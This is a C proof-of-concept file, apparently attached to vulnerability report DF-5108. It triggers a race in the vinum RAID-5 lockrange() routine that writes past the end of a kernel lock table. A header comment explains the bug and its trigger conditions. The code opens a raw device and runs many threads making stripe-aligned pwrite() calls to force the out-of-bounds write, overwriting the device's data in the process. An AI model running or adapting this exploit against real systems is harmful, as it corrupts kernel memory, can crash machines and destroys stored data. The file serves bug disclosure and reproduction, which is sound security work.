DF-5108 / lockrange_race.c
/* * DF-5108 PoC: vinumlock.c lockrange() OOB write past plex->lock[PLEX_LOCKS] * * Strategy: a RAID-5 plex takes one rangelock slot per in-flight request * group (bre5 sets rqg->lockbase, launch_requests -> lockrange). * With >= 256 concurrently in-flight, conflict-sleeping and newly-arriving * writers on other CPUs, the woken sleeper can find the table full at its * rescan: pos stays NULL, pos = &plex->lock[256] (one past the 4 KB * kmalloc'd table), and lockrange writes {stripe, bp} there and increments * usedlocks past PLEX_LOCKS (the '==' check is then defeated forever). * * Hammer: N threads pwrite()ing at random stripe-aligned offsets from a * small stripe pool (frequent same-stripe conflicts => tsleep in the scan) * with enough distinct stripes to fill the 256-slot table. * * build: cc -O2 -pthread -o lockrange_race lockrange_race.c * usage: ./lockrange_race <dev> <threads> <seconds> <nstripes> <io_bytes> */ #include <sys/types.h> #include <sys/fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> static volatile int stop = 0; static int fd; static long nstripes; static long stripe_bytes; static long io_bytes; static void * worker(void *arg) { long id = (long)arg; unsigned seed = (unsigned)(id * 7919 + 13); char *buf; long ops = 0, errs = 0; buf = valloc(io_bytes); if (buf == NULL) { perror("valloc"); return (NULL); } memset(buf, (int)(id & 0xff), io_bytes); while (!stop) { long s = rand_r(&seed) % nstripes; off_t off = (off_t)s * (off_t)stripe_bytes; if (pwrite(fd, buf, io_bytes, off) < 0) errs++; ops++; } free(buf); fprintf(stderr, "thread %ld: %ld ops, %ld errors\n", id, ops, errs); return (NULL); } int main(int argc, char **argv) { long nthreads, seconds, i; pthread_t *tids; if (argc != 6) { fprintf(stderr, "usage: %s <dev> <threads> <seconds> <nstripes> <io_bytes>\n", argv[0]); return (2); } fd = open(argv[1], O_RDWR); if (fd < 0) { perror(argv[1]); return (1); } nthreads = atol(argv[2]); seconds = atol(argv[3]); nstripes = atol(argv[4]); stripe_bytes = 64 * 512; /* raid5 64s stripes, as configured */ io_bytes = atol(argv[5]); tids = calloc(nthreads, sizeof(*tids)); for (i = 0; i < nthreads; i++) pthread_create(&tids[i], NULL, worker, (void *)i); fprintf(stderr, "hammering %s: %ld threads, %ld s, %ld stripes, %ld-byte writes\n", argv[1], nthreads, seconds, nstripes, io_bytes); sleep(seconds); stop = 1; for (i = 0; i < nthreads; i++) pthread_join(tids[i], NULL); fprintf(stderr, "done\n"); return (0); } |